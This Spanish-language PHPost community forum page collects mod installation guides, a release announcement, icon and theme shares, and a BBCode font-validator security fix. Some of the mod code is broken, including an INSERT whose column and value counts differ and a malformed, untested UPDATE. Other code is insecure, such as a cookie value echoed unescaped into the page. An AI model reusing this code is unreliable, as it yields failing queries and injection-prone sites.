    Hola a todos, quisiera compartir con todos este mod que ya van varias personas que están interesadas en él y nada, para mí esto fue como una práctica, sé que algún día llegaré a tener el nivel de conocimientos que me he impuesto. En fín, este MOD lo que hace es limitar a los usuarios el numero de posts que pueden publicar, es decir, el administrador impone a cada usuario o rango un límite de posts por día; ésto nos ayudará a disminúir el spam en usuarios novatos (por ejemplo). Sin más, les dejo las instrucciones. Aviso: la instalación es sólo para el tema default, aunque el código (PHP) sea el mismo la estructra de cada tema puede cambiar. 1. Abrir el archivo c.admin.php y busca: 'cant' => $row['r_cant'], Debajo coloca: 'post_cant' => $row['r_posts'], a) Busca: 'cant' => empty($_POST['global-cantidadrequerida']) ? 0 : $tsCore->setSecure($_POST['global-cantidadrequerida']), Añadir debajo: 'post_cant' => empty($_POST['global-postsforday']) ? 0 : $tsCore->setSecure($_POST['global-postsforday']), b ) Busca (unas cuantas líneas abajo): 'gopfd' => $_POST['global-pointsforday']); Borra el ); y pon en su lugar una coma , Presiona la tecla Intro para hacer un saldo de línea, luego, añade lo siguiente: 'golpd' => $_POST['global-postsforday']); Deberá quedar de la siguiente manera: 'gopfd' => $_POST['global-pointsforday'], 'golpd' => $_POST['global-postsforday']); c) Busca (unas cuantas líneas abajo); if (db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE `u_rangos` SET r_name = \'' . $tsCore->setSecure($r['name']) . '\', r_color = \'' . $r['color'] . '\', r_image = \'' . $tsCore->setSecure($r['img']) . '\', r_cant = \'' . (int)$r['cant'] . '\', r_allows = \'' . $tsCore->setSecure($permisos) . '\', r_type = \'' . $r['type'] . '\' WHERE rango_id = \'' . (int)$rid . '\'')) Reemplazar por: if (db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE `u_rangos` SET r_name = \'' . $tsCore->setSecure($r['name']) . '\', r_color = \'' . $r['color'] . '\', r_image = \'' . $tsCore->setSecure($r['img']) . '\', r_cant = \'' . (int)$r['cant'] . '\', r_posts = \'' . (int)$r['post_cant'] . '\', r_allows = \'' . $tsCore->setSecure($permisos) . '\', r_type = \'' . $r['type'] . '\' WHERE rango_id = \'' . (int)$rid . '\'')) d) Busca: 'cant' => empty($_POST['global-cantidadrequerida']) ? 0 : $tsCore->setSecure($_POST['global-cantidadrequerida']), Añadir debajo: 'post_cant' => empty($_POST['global-postsforday']) ? 0 : $tsCore->setSecure($_POST['global-postsforday']), e) Busca: 'gopfd' => $_POST['global-pointsforday'], Info: Hacer lo mismo que en el inciso b ). f) Busca (unas cuantas líneas abajo): if (db_exec(array(__FILE__, __LINE__), 'query', 'INSERT INTO `u_rangos` (`r_name`, `r_color`, `r_image`, `r_cant`, `r_allows`, `r_type`) VALUES (\'' . $tsCore->setSecure($r['name']) . '\', \'' . $r['color'] . '\', \'' . $tsCore->setSecure($r['img']) . '\', \'' . (int)$r['cant'] . '\', \'' . $tsCore->setSecure($permisos) . '\', \'' . (int)$r['type'] . '\')')) return 1; Reemplazar por: if (db_exec(array(__FILE__, __LINE__), 'query', 'INSERT INTO `u_rangos` (`r_name`, `r_color`, `r_image`, `r_cant`, `r_posts`, `r_allows`, `r_type`) VALUES (\'' . $tsCore->setSecure($r['name']) . '\', \'' . $r['color'] . '\', \'' . $tsCore->setSecure($r['img']) . '\', \'' . (int)$r['cant'] . '\', \'' . $tsCore->setSecure($permisos) . '\', \'' . (int)$r['post_cant'] . '\', \'' . $tsCore->setSecure($permisos) . '\', \'' . (int)$r['type'] . '\')')) return 1; g) Buscar: $query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT `user_name`, `user_email`, `user_password` FROM u_miembros WHERE user_id = \'' . (int)$user_id . '\''); Y donde está `user_password` añadir a un lado: , `user_limiteposts` Quedará de la siguiente manera: `user_password`, `user_limiteposts` h) Buscar (unas cuantas lineas abajo): $pointsxdar = empty($_POST['pointsxdar']) ? $data['user_puntos'] : $_POST['pointsxdar']; Añadir debajo: $postsxdia = empty($_POST['poststodo']) ? $data['user_limiteposts'] : $_POST['poststodo']; i) Buscar: return 'Los puntos para dar no se reconocen'; Añadir debajo: if ($postsxdia >= 0) { $ptodo = ', user_limiteposts = \''. (int)$postsxdia . '\''; } else { return "El límite de posts no se reconocen"; } j) Buscar: if (db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE `u_miembros` SET user_email = \'' . $tsCore->setSecure($email) . '\' ' . $changedis . ' ' . $new_nick . ' ' . $pxd . ' ' . $apoints . ' ' . $db_key . ' WHERE user_id = \'' . (int)$user_id . '\'')) Reemplazar por: if (db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE `u_miembros` SET user_email = \'' . $tsCore->setSecure($email) . '\' ' . $changedis . ' ' . $new_nick . ' ' . $pxd . ' ' . $ptodo . ' ' . $apoints . ' ' . $db_key . ' WHERE user_id = \'' . (int)$user_id . '\'')) 2. Abrir el archivo c.user.php y... a) Buscar: $this->actualizarPuntos(); Añadir debajo: $this->actualizarPost(); b ) Buscar: function actualizarPuntos() { // HORA EN LA CUAL RECARGAR PUNTOS 0 = MEDIA NOCHE DEL SERVIDOR $ultimaRecarga = $this->info['user_nextpuntos']; $tiempoActual = time(); // SI YA SE PASO EL TIEMPO RECARGAMOS... if($ultimaRecarga < $tiempoActual){ // OPERACION SIG RECARGA A LAS 24 HRS $horaActual = date("G",$tiempoActual); $minActuales = date("i",$tiempoActual) * 60; $segActuales = date("s",$tiempoActual); $sigRecarga = 24 - $horaActual; $sigRecarga = ($sigRecarga * 3600) - ($minActuales + $segActuales); $sigRecarga = $tiempoActual + $sigRecarga; // LA SIGUIENTE RECARGA SE HARA A MEDIA NOCHE DEL SIGUIENTE DIA LA HORA DEPENDE DEL SERVIDOR // db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntosxdar = '.($tsCore->settings['c_keep_points'] == 0 ? $this->permisos['gopfd'] : 'user_puntosxdar + '.$this->permisos['gopfd']).', user_nextpuntos = '.$sigRecarga.' WHERE user_id = \''.$this->uid.'\''); // VAMONOS return true; } } Añadir debajo: function actualizarPost() { // HORA EN LA CUAL RECARGAR LOS POSTS QUE PUEDE CREAR 0 = MEDIA NOCHE DEL SERVIDOR $ultimaRecarga = $this->info['user_nextlimiteposts']; $tiempoActual = time(); // SI YA SE PASO EL TIEMPO RECARGAMOS... if($ultimaRecarga < $tiempoActual){ // OPERACION SIG RECARGA A LAS 24 HRS $horaActual = date("G",$tiempoActual); $minActuales = date("i",$tiempoActual) * 60; $segActuales = date("s",$tiempoActual); $sigRecarga = 24 - $horaActual; $sigRecarga = ($sigRecarga * 3600) - ($minActuales + $segActuales); $sigRecarga = $tiempoActual + $sigRecarga; // LA SIGUIENTE RECARGA SE HARA A MEDIA NOCHE DEL SIGUIENTE DIA LA HORA DEPENDE DEL SERVIDOR // db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_limiteposts = user_nextlimiteposts = '.$sigRecarga.' WHERE user_id = \''.$this->uid.'\''); // VAMONOS return true; } } Esta función no la he testeado como se debe, por lo que no he comprobado su funcionalidad al 100%. 3. Abrir el archivo c.posts.php y... a) Buscar: else { $postData['sponsored'] = empty($_POST['patrocinado']) ? 0 : 1; $postData['sticky'] = empty($_POST['sticky']) ? 0 : 1; } Añadir debajo: if($tsUser->info['user_limiteposts'] == 0) return 'Has alcanzado el l&iacute;mite de posts por d&iacute;a'; b ) Buscar: // ULTIMO POST db_exec(array( __FILE__, __LINE__ ) , 'query', 'UPDATE u_miembros SET user_lastpost = \'' . $time . '\' WHERE user_id = \'' . $tsUser->uid . '\''); Añadir debajo: // RESTAR POSTS DISPONIBLES db_exec(array( __FILE__, __LINE__ ) , 'query', 'UPDATE u_miembros SET user_limiteposts = user_limiteposts - 1 WHERE user_id = \'' . $tsUser->uid . '\''); 4. Ejecutar las siguientes consultas SQL: ALTER TABLE `u_miembros` ADD `user_limiteposts` INT(2) UNSIGNED NOT NULL DEFAULT '0' AFTER `user_puntosxdar`; ALTER TABLE `u_rangos` ADD `r_posts` INT(5) NOT NULL AFTER `r_cant`; ALTER TABLE `u_miembros` ADD `user_nextlimiteposts` INT(10) NOT NULL DEFAULT '0' AFTER `user_nextpuntos`; 5. Abrir el archivo m.admin_rangos.tpl y... a) Buscar: <th>Puntos por post</th> Añadir debajo: <th>Límite de posts</th> Hacer lo mismo para las dos 2 coincidencias b ) Buscar: <td>{$r.max_points}</td> Añadir debajo: <td>{$r.post_cant}</td> Hacer lo mismo para las dos 2 coincidencias c) Buscar: <dl> <dt><label for="gopfp">Puntos por post</label><br /><span>Puntos que puede dar en cada post.</span></dt> <dd><input type="text" id="gopfp" name="global-pointsforposts" value="{$tsRango.permisos.gopfp}" style="width:30%"/></dd> </dl> Añadir debajo: <dl> <dt><label for="golpd">Límite de posts</label><br /><span>Posts que puede crear al día</span></dt> <dd><input type="text" id="golpd" name="global-postsforday" value="{$tsRango.permisos.golpd}" style="width:30%"/></dd> </dl> 6. Abrir el archivo m.admin_users.tpl y... a) Buscar: <dl> <dt><label>Puntos para dar:</label></dt> <dd><input type="text" name="pointsxdar" id="pointsxdar" value="{$tsUserD.user_puntosxdar}" style="width:10%" /></dd> </dl> Añadir debajo: <dl> <dt><label>Límte de posts a crear:</label></dt> <dd><input type="text" name="poststodo" id="poststodo" value="{$tsUserD.user_limiteposts}" style="width:10%" /></dd> </dl> Nota: Si quieres mostrar los posts que restan; en el perfil del usuario, has lo siguiente: (sólo lo verá el dueño del perfil, administrador o moderador) En m.perfil_headinfo.tpl Busca: <li> <strong>{$tsInfo.stats.user_fotos}</strong> <span>Fotos</span> </li> Añadir debajo: {if $tsUser->uid == $tsInfo.uid && $tsUser->is_member || $tsUser->is_admod} <li class="qtip" title="Tu rango tiene un límite de posts por día, asegúrate de postear algo interesante"> <strong>{$tsInfo.stats.user_limiteposts}</strong> <span>Posts restantes</span> </li> {/if} ¡Has terminado! Y bien, como dije al inicio, este mod es 100% administrable, puedes otorgarle a cierto usuario o rango un límite de posts. Dejaré losarchivos editados por si alguien gusta descargarlos y evitarse el trabajo de modificar los archivos. Descargar archivos Capturas Avisar de cualquier error en los comentarios. a { text-decoration: none !important; }
  18. 7 likes
    ¡Muy buenas! Hace bastante tiempo que no se presenta información destacable aquí, y debido a mi escaso tiempo, no puedo ofrecer grandes novedades. Para empezar, y a pesar de mi empeño en que Risus sea el proyecto y PHPost el creador, he decidido que PHPost vuelva a ser el proyecto, y Risus la versión del mismo. Asimismo, esta plataforma de foros se llamará "comunidad de PHPost", como siempre. Para continuar, hemos actualizado la portada. No añade novedades pero nunca viene mal un toque de aire fresco. Además, con la intención de recuperar actividad y todo lo que eso conlleva, se va a poner en venta la versión 2.0 Alfa completa o por separado, la cual tal y como su nombre indica, es una versión no acabada y por ello no está exenta de algunos errores. La finalidad de dicha versión es su utilización para sacar el código útil y adaptarlos a la web del comprador, no está pensada para utilizarse como un sitio web, pues su desarrollo es incluso anterior a Risus 1.2; de ahí que no se haya lanzado a pesar de llevar tiempo programada. Se pone en venta para intentar recaudar fondos y con ellos incentivar a nuevos programadores y diseñadores en la realización del nuevo proyecto gratuito*, el cual no está consolidado aún. Así como también para mantener actualizada la comunidad (IPS) y a permitir la celebración de sorteos. Aquellos que colaboren comprando la versión 2.0A, tendrán diferentes recompensas aún no establecidas. Esta versión Alfa incluye características como las siguientes: - Visibilidad de posts por rangos (seleccionados o desde x rango) y permisos administrables - Cambio en la forma en que se obtiene un rango - Mejoras y añadidos en los BBCodes - Editor WYSIWYG - Smarty actualizado - Nuevos plugins agregados a Smarty - Mejoras SEO (enlaces únicos, redirecciones, .htaccess, metatags, etc.) - Paginador AJAX dinámico - Páginas de error (401, 403, y 404) - Permisos para usuarios individuales - Gestor de plantillas mejorado y administrable por usuario - Sistema de censuras - Sistema de idiomas (listo para implementar por programador) - Sistema de noticias prioritarias - Sistema de licencia y soporte (creado, pero no operativo) - Y más de 300 cambios importantes listos para adaptar a Risus 1.2 (fixes en monitor, borradores, posts; seguridad y optimización, etc.) - Se entrega con la lista de cambios realizados y cambios en proceso - Coste: + Normal: 75€ + Si has donado anteriormente: 65€ + Si has adquirido una licencia de copyright: 50€ + Complemento por separado: Desde 5€ (puedes adquirir las mejoras por separado si no puedes adquirir la versión completa) Nota: el precio puede variar dependiendo de las aportaciones del comprador a la comunidad y al script. * Para finalizar, y a pesar de no estar consolidado, me gustaría continuar con el nuevo proyecto. Dependiendo de la remuneración que obtengamos con esta versión alfa, el desarrollo será más o menos inmediato. Esperamos también, que dicho proyecto sea gratuito, pues es como hasta ahora lanzábamos las nuevas versiones. Tenemos la ilusión, y muchas ideas increíbles para él; con vuestra ayuda podremos hacerlas realidad. Para adquirir dicha versión o alguna de sus características, podéis contactar conmigo. ¡Un saludo!
  19. 7 likes
    buenas tardes caballeros, hoy no tenia nada que hacer y decidi hacer esto que tenia tiempo pensandolo, que en caso de error al crear el post se queden los valores guardados y listos, pense hacerlo con el borrador que ya trae pero se me hizo mas fácil de este modo. primero, vamos a themes/default/js/funciones.js al final del archivo agregamos esto //#####################MANEJO DE COOKIES#########################// function crearcookie(name, value, days){ //crearcookie('nombre de la cookie', 'valor para la cookie', tiempo de vida) //tiempo de vida, 1 es = a 1 dia if(days){ var date = new Date(); date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000)); var expires = '; expires=' + date.toGMTString(); } else var expires = ''; document.cookie = name + '=' + value + expires + '; path=/;'; } function leercookie(name){ //crearcookie('genkidama','dame tus fuerzas',1) //leercookie('genkidama') //ejemplo===== alert(leercookie(genkidama)); muestra : 'dame tus fuerzas' var nameEQ = name + '='; var ca = document.cookie.split(';'); for(var i=0, s=ca.length; i<s; ++i){ var c = ca[i]; while(c.charAt(0) == ' ') c = c.substring(1, c.length); if(c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return null; } function borrarcookie(name){ //borrarcookie('genkidama') quitamos su dia de vida crearcookie(name, "", -1); } //#####################FIN DE COOKIES#############################// ahora en themes/default/templates/modules/m.agregar_javascript.tpl abajo de // GENERADOR DE TAGS $('input[name=tags]').click(function(){ if(tags == true) return true; var q = $('input[name=titulo]').val(); $.ajax({ type: 'post', url: global_data.url + '/posts-genbus.php?do=generador', data: 'q=' + q, success: function(h) { $('input[name=tags]').val(h); tags = true; } }); }); agregamos /*Funcion de Capturar y Almacenar datos */ $(document).ready(function(){ $('input[name=preview]').click(function(){ /*Captura de datos escrito en los inputs*/ var title = $('input[name=titulo]').val(); var bodys = $('#markItUp').val(); var tags = $('input[name=tags]').val(); /*Guardando los datos en el LocalStorage*/ localStorage.setItem("titulo", title); localStorage.setItem("cuerpo", bodys); localStorage.setItem("tags", tags); }); }); /*si hay una cookie borrador, cargamos los datos guardados*/ $(document).ready(function(){ var ok = leercookie("borrador"); var ti = localStorage.getItem("titulo"); var bo = localStorage.getItem("cuerpo"); var ta = localStorage.getItem("tags"); if (ok) { $('input[name=titulo]').val(ti) $('#markItUp').val(bo) $('input[name=tags]').val(ta) } else{ /*borramos el borrador pasado*/ localStorage.clear() } }); en el mismo archivo abajo de $('input[name=preview]').bind('click',function(){ agregamos crearcookie("borrador",1,1); por ultimo en inc/php/agregar.php abajo de $tsCat = db_exec('fetch_assoc', $query); agregamos //quitamos la cookie para eliminar los archivos en localstorage setcookie('borrador', '', time() - (86400 * 30), "/"); en el mismo archivo abajo de $smarty->assign("tsAviso",array('titulo' => 'Bien!', 'mensaje' => 'El post <b>'.$_POST['titulo'].'</b> fue agregado. '.(!$tsUser->is_admod && ($tsUser->permisos['gorpap'] == true || $tsCore->settings['c_desapprove_post'] == 1) ? 'Deber&aacute; esperar su aprobaci&oacute;n' : '').' ', 'but' => 'Acceder al post', 'link' => "{$tsCore->settings['url']}/posts/{$tsCat['c_seo']}/$tsPost/{$tsCore->setSEO($_POST['titulo'])}.html")); agregamos //quitamos la cookie para eliminar los archivos en localstorage setcookie('borrador', '', time() - (86400 * 30), "/"); y bueno es todo con esto tenemos un respaldo de 1 dia por si pasa algo, dejo caps retire los validadores de tags para simular un error /// //el resultado antes de este mod era todos los campos en blanco y ahora se queda tal como lo dejaste es todo mientras exista un error en el post, se guardara por 1 dia
  20. 7 likes
    Cambiar color de Background Hola gente de phpost hoy les dejo este mod de @Xtatter, solo que le agregue el botón en el menú para fácil acceso, el mod consiste en que los usuarios puedan cambiar de fondo al color que quieran y se les guarda en el cache de su navegador, así que ustedes no van a tener que gastar mb ni de la base de datos ni de nada, dicho esto paso con la instalación.. 1) En el archivo acciones.js (themes/tu theme/js) agregamos al final: // Change Background By Xtatter var change_background = { open_menu: function(){ var campo = '.change_background'; if($(campo).css('display') == 'none'){ $(campo).slideDown(); }else{ $(campo).slideUp(); }}, change_body: function(number){ var bg = 'bg' + number; $('body').removeClass(); $('body').addClass(bg); $.cookie('bg', 'bg' + number, {expires: 60 * 10}); }, } 2) En main_header.tpl (themes/tu theme/templates/sections) buscamos: <body> Y lo reemplazamos por: <body class="{php} if($_COOKIE['bg']) echo $_COOKIE['bg']; else echo 'bg1'; {/php}"> Ahora buscamos: {include file='sections/head_menu.tpl'} Y debajo agregamos: {include file='sections/change_background.tpl'} 3) Subimos Esto a sus respectivas carpetas. 4) Ponemos el css al final en estilo.css (themes/tu theme): /* CHANGE BACKGROUND BY XTATTER, MODIFICADO POR PSYGANGAM */ .change_background { color: #fff; background: #34343c url('images/slide_bg.jpg') repeat; position: relative; padding: 15px; -webkit-box-shadow: inset rgba(0,0,0,0.8) 0px 0px 10px; -moz-box-shadow: inset rgba(0,0,0,0.8) 0px 0px 10px; box-shadow: inset rgba(0,0,0,0.8) 0px 0px 10px; padding-right: 0px; overflow: hidden; } .change_background li{ float:left; margin-right: 12px; } .change_background li a{ display: block; float: left; width: 145px; height: 90px; -webkit-border-radius: 7px; -moz-border-radius: 7px; border-radius: 7px; -webkit-box-shadow: inset rgba(0,0,0,1) 0px 1px 7px, rgba(255,255,255,0.05) 0px 1px 0px, rgba(255,255,255,0.35) 0px 0px 1px; -moz-box-shadow: inset rgba(0,0,0,1) 0px 1px 7px, rgba(255,255,255,0.05) 0px 1px 0px, rgba(255,255,255,0.35) 0px 0px 1px; box-shadow: inset rgba(0,0,0,1) 0px 1px 7px, rgba(255,255,255,0.05) 0px 1px 0px, rgba(255,255,255,0.35) 0px 0px 1px; cursor: pointer; background: #000 no-repeat 50% 50%; -moz-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; } .bg1{ background: #717171; background-image: ; background-repeat: no-repeat; background-position: 50% 0; } .bg2{ background: #FFFFFF; background-image: ; background-repeat: no-repeat; background-position: 50% 0; } .bg3{ background: #923939; background-image: ; background-repeat: no-repeat; background-position: 50% 0; } .bg4{ background: #397992; background-image: ; background-repeat: no-repeat; background-position: 50% 0; } .bg5{ background-color: #749239; background-image: ; background-repeat: no-repeat; background-position: 50% 0; } .bg6{ background-color: #000; background: url('images/bg/bg6.gif') repeat !important; background-position: 50% 0; } .c1{ background-image: url('images/bg/bg2.jpg') !important; background-position: 50% !important; background-size: 150% !important; } .c2{ background-image: url('images/bg/bg1.jpg') !important; background-position: 50% !important; background-size: 150% !important; } .c3{ background-image: url('images/bg/bg3.jpg') !important; background-position: 50% !important; background-size: 150% !important; } .c4{ background-image: url('images/bg/bg4.jpeg') !important; background-position: 50% !important; background-size: 150% !important; } .c5{ background-image: url('images/bg/bg5.jpg') !important; background-position: 50% !important; background-size: 150% !important; } .c6{ background-image: url('images/bg/bg6.gif') !important; background-position: 50% !important; background-size: 300% !important; } /*********/ 5) Y ahora el botón en el menú de usuario: Abrimos head_menu.tpl (themes/tu theme/templates/sections) y dentro buscamos: <li> <a title="Mis Borradores" href="{$tsConfig.url}/borradores.php"> <span class="systemicons borradores"></span> </a> </li> Abajo agregamos: <li> <a title="Cambiar Fondo" href="#" onclick="change_background.open_menu();"> <img src="{$tsConfig.default}/images/icons/color.png" /> </a> </li> Resultado Final Todos los creditos para @Xtatter, Gracias por pasar! Aclaro, no le hice nada para decir "Wooow!" saben, pero era un mod viejo, es muy bueno y lo que hice nose si es fix o agregado nose como lo llamen, pero eso, igual aclaré quien es el dueño del mod, ahora si, saludos a todos!
  21. 7 likes
    Hola, como verán recientemente hay un usuario que anda molestando con un error en la fuente de los BBcodes. El error consiste básicamente en que dicho BBcode carece de verificación, entonces se podía ingresar algunos carácteres HTML y poner una fuente gigante lo que no permitía navegar por los posts y al cliquear llevaba a una página, no representa un error grave en sí, por lo que no hay que alarmarse ya que sus datos personales y de hosting están seguros. Sin embargo puede ser muy molesto, por lo que es muy recomendado instalar este fix. Instalación automática: Para solucionarlo suban la carpeta INC que subí AQUÍ en la raíz de su sitio y reemplacen los archivos y ya estará solucionado el error. Instalación manual: Si han modificado los archivos, pueden optar por instalarlo manualmente: Abran el archivo bbcode.inc.php ubicado en /inc/ext/bbcode.inc.php y busquen (está en la línea 10): require_once 'JBBCode/validators/ImgValidator.php'; Y abajo coloquen: require_once 'JBBCode/validators/FontValidator.php'; Busquen: $imgValidator = new \JBBCode\validators\ImgValidator(); Y debajo coloquen: $fontValidator = new \JBBCode\validators\FontValidator(); Busquen: array('tag' => 'font', 'replace' => '<span style="font-family: {option}">{param}</span>', 'option' => true), Y lo reemplazan por: array('tag' => 'font', 'replace' => '<span style="font-family: {option}">{param}</span>', 'option' => true, 'validOption' => $fontValidator), 2. Crear un archivo con nombre FontValidator.php dentro de /inc/ext/JBBcode/validators/ con el siguiente contenido: <?php namespace JBBCode\validators; require_once dirname(dirname(__FILE__)) . DIRECTORY_SEPARATOR . 'InputValidator.php'; /** * Validador de fuentes para evitar kakeos * * @author Alan * @since Sep 2016 */ class FontValidator implements \JBBCode\InputValidator { /** * Retorna true si $input es alfabético * * @param $input string a validar */ public function validate($input) { return !!preg_match('/^[a-z0-9\s]+$/i', $input); } } Y ya debería funcionar, no digo que esto sea un fix oficial ya que lamentablemente ya no pertenezco al staff pero cuando Isidro lo vea podrá decidir que es lo que hace. Saludos!
  22. 6 likes
    Hola a todos Después de una búsqueda de algunas horas logré dar con los iconos que Taringa! V4 (y anteriores versiones) y el tema default de Risus utiliza o utilizó (en el caso de T!) por lo que me es buena idea compatirlos aquí pues son y serán de buena utilidad. Yo los utilicé en el Theme Zero-Time y hasta ahora recordé que los tenía... Y bien aquí estan. Los primeros son los FamFamFam que cuenta con dos versiones; Mint Icons y Silk Icons además de las banderas que son las que actualmente utiliza Risus. FAMFAMFAM Descargar desde la web del autor Los siguientes son de p.yusukekamiyamane (Lo sé, difícil de pronunciar ) éstos, T! los usó para sus categorías principalmente, este Japonés sí que invirtió tiempo en hacer 3,570 iconos. Tiene dos versiones, Fuge Icons y Diagona Icons. ADEMÁS, él fue el creador de las fuentes originales del logo de Taringa!, sólo basta con dar clic en la sección de "Fonts" para descargarlas. p.yusukekamiyamane Descargar dede la web del autor. Preview Muchos también debemos conocer los iconos de FatCow, un servicio de web hosting que también diseñó estos iconos, al igual que los de p.yusukekamiyamane son demasiados y cuando descargues todos tendrás un mundo de iconos . Descargar desde la web del autor Espero y les guste el aporte, aunque este tipo de iconos ya hayan pasado de moda, dejan muy bonito aspecto a nuestras webs.
  23. 6 likes
    Bueno acá les dejó uno de los themes del cual les comente...Creo? Se llama KROTOS parecido al nombre que le dio Kmario a su theme Tronos pero nada que ver, se llama de esa forma porque es muy croto jajaja solo por eso! si tienen ideas para ponerle de nombre a este theme avisen jaja XD Todavía les debo: Next v3 -> Si funciona lo instale 3 o 4 veces y si funciona Symplex SynMobile -> Iniciado el 14/12/2016 Syntaxis [Reservado] Extreme -> pero es la version 1.1 Qué contiene el pack Krotos? Tiene una carpeta llamada controles, una vez descomprimida van a la url y escriben http://www.tuweb.com/controles/index.php para instalar mod´s agregado no contiene las comunidades... Contiene la carpeta 'inc'? Si, porque he modificado casi todas y no me acuerdo cual estan y no modificadas... No tiene Smarty Qué más tiene? Dentro de la carpeta themes encontrarán * Krotos_installer.txt * Ktrotos_comu-completas.txt * Comunidades.sql * [DIR] KrotosComunidades Esto es en el caso que no quieran reemplazar la carpeta inc (class,ext,php) Krotos_installer.txt Ktrotos_comu-completas.txt --> Esto es para hacerla realmente completas + administracion + moderacion + denuncias [DIR] KrotosComunidades --> Esto es para agregar a la carpeta inc con todos los fix aplicados Comunidades.sql Hablando de las comunidades, ¿Estan adaptadas? Claro que sí, yo nunca pondría algo sin adaptarlo antes... ¡ El perfil ! No tiene tanta modificación como la página en si... Nota: No se asusten si ven en fondo blanco, quiere decir que no tiene fondo o la direccion que tiene es incorrecta, pueden cambiarle el color al menú obviamente escribiendo el color en inglés Descarga desde 4Shared: - Krotos [28-12-2016] - Descarga desde Mega: - Krotos [28-12-2016] - Caps Comunidades https://k60.kn3.net/4/C/7/D/1/2/EB9.png Home https://k60.kn3.net/8/B/C/4/8/5/17A.png https://k60.kn3.net/7/3/C/0/8/5/741.png https://k61.kn3.net/7/7/9/5/0/C/BA6.png https://k60.kn3.net/C/3/C/6/B/2/0FF.png https://k60.kn3.net/C/7/A/7/9/9/D6F.png https://k60.kn3.net/C/3/1/7/5/F/106.png https://k60.kn3.net/4/4/A/D/6/4/10F.png Administración [controles] Perfil https://k60.kn3.net/4/3/A/E/3/4/855.png Espero que les guste el theme...
  24. 6 likes
    Hola gente de phpost como andan... Se que paso mucho tiempo pero aproveche esta semana para terminar un complemento que había dejado a medias y le prometí a algunos que lo terminaría... se que es un poco tarde pero como dice el dicho "Lo prometido es deuda", Esta ves agregue lo mas importante que era poder eliminar y editar... lo demás sigue igual... pero ya empece a trabajar en el tema de las categorías (Que también serán administrables) pero eso sera en la próxima versión del complemento ya con nuevo diseño y características. Por ahora les dejo la versión completa. Capturas Características: -Poder agregar contenido al catalogo desde la admin. -Poder Eliminar. -Poder Editar. -No permite enviar formularios en blanco *Se aceptan ideas para mejorar el complemento* *La instalacion se encuentra en la descarga...* Descargar -> Catalogo Administrable By Air_kpo.zip
  25. 6 likes
    Hola este es mi primer tema en phpost (asi que no me maten xD) actualmente esta en desarrollo pero lo comparto para lo que quieran ayudarme xD. Funciones: Registro de usuario login de usuario agregar post mensaje de usuario buscador categoria agregar imagen (Desabilitado por que no me gusto xD) agregar afiliado (en desarrollo) bbcode(en desarrollo) caja de comentario slider(funcional terminado no estatico) ya se que falta mucho pero la idea inicial era solamente dejar que el usuario solo se registre y publique contenido, y por otro lado estoy leyendo la documentación de smarty ya que phpost no te explica en la documentación que hacer cada variable o función del sistema xD Descargar: original: http://www.zkreations.com/2017/01/plantilla-anime-responsive-blogger.html Licencia: http://www.safecreative.org/work/1701260448173-anime
  26. 6 likes
    Hola a todos, bueno hoy les traigo el Mod que publiqué hace mucho tiempo ya adaptado a la versión 1.2 y resubido, ya que parece que borré los archivos en alguna parte del tiempo. Esta nueva versión usa un reproductor HTML5 en vez de uno FLASH (swf). Aquí pueden leer un poco mas del reproductor HTML5. Aviso: Pronto vendrá la versión 2.5 la cual traerá un nuevo reproductor, con nuevo estilo, y soporte para la caratula y el titulos (aunque los pueden agregar ustedes mismos). Instalación: Hacemos esta Consulta: ALTER TABLE w_configuracion ADD c_month_mp3 VARCHAR( 5000 ) NOT NULL AFTER offline_message Luego esta: ALTER TABLE w_configuracion ADD c_month_name VARCHAR( 5000 ) NOT NULL AFTER offline_message Y luego esta ultima: ALTER TABLE w_configuracion ADD c_month_img VARCHAR( 5000 ) NOT NULL AFTER offline_message luego abren su c.core.php y buscan: $this->settings['js'] = $this->settings['tema']['t_url'].'/js'; Debajo agregan $this->settings['month_mp3'] = $this->settings['c_month_mp3']; $this->settings['month_img'] = $this->settings['c_month_img']; $this->settings['month_name'] = $this->settings['c_month_name']; luego abren su c.admin.php y buscan: 'offline_message' => $tsCore->setSecure($tsCore->parseBadWords($_POST['offline_message'])), y agregan debajo 'month_mp3' => $tsCore->setSecure($_POST['month_mp3']), 'month_img' => $tsCore->setSecure($_POST['month_img']), 'month_name' => $tsCore->setSecure($_POST['month_name']), Un poco más abajo buscan: `offline_message` = \'' . $c['offline_message'] . '\' Al lado agregan: , `c_month_mp3` = \'' .$c['month_mp3'] . '\', `c_month_img` = \'' .$c['month_img'] . '\', `c_month_name` = \'' .$c['month_name'] . '\' Abrimos m.admin_configs.tpl y buscan: <dl> <dt><label for="ai_url">Direcci&oacute;n del sitio:</label></dt> <dd><input type="text" id="ai_url" name="url" maxlength="32" value="{$tsConfig.url}" /></dd> </dl> Debajo Agregan: <dl> <dt><label for="ai_month_mp3">Link MP3:</label><br /><span>Musica del mes<br/><a>Escuchar</a></span></dt> <dd><input type="text" name="month_mp3" id="ai_month_mp3" value="{$tsConfig.month_mp3}" /></dd> </dl> <dl> <dt><label for="ai_month_name">Nombre de la cancion <font color="red">(no es necesario)</font>:</label><br /><span>Musica del mes</span></dt> <dd><input type="text" name="month_name" id="ai_month_name" value="{$tsConfig.month_name}" /></dd> </dl> <dl> <dt><label for="ai_month_img">Caratula <font color="red">(no es necesario)</font>:</label><br /><span>Musica del mes<br/>{if $tsConfig.month_img != ''}<img src="{$tsConfig.month_img}" width="48px" height="48px" title="Caratula (preview)" alt="Previsualizacion de la caratula" />{/if}</span></dt> <dd><input type="text" name="month_img" id="ai_month_img" value="{$tsConfig.month_img}" /></dd> </dl> Luego abren t.home.tpl y después de: {include file='modules/m.home_stats.tpl'} Agregan: {include file='modules/m.home_monthlymp3.tpl'} Ahora suben los siguientes archivos: m.home_monthlymp3.tpl a /templates/modules/ Demo y descarga: Click aquí Eso sería todo por la instalación. Notas: En el caso de que no pongan ninguna carátula, osea lo dejen en blanco, no se mostrará la carátula al lado ni en el home. En el caso de que no haya ningun MP3 en la administración, no se mostrara el MOD en el home. Capturas: (a los visitantes no se les muestra nada abajo del reproductor) Miembro [sin 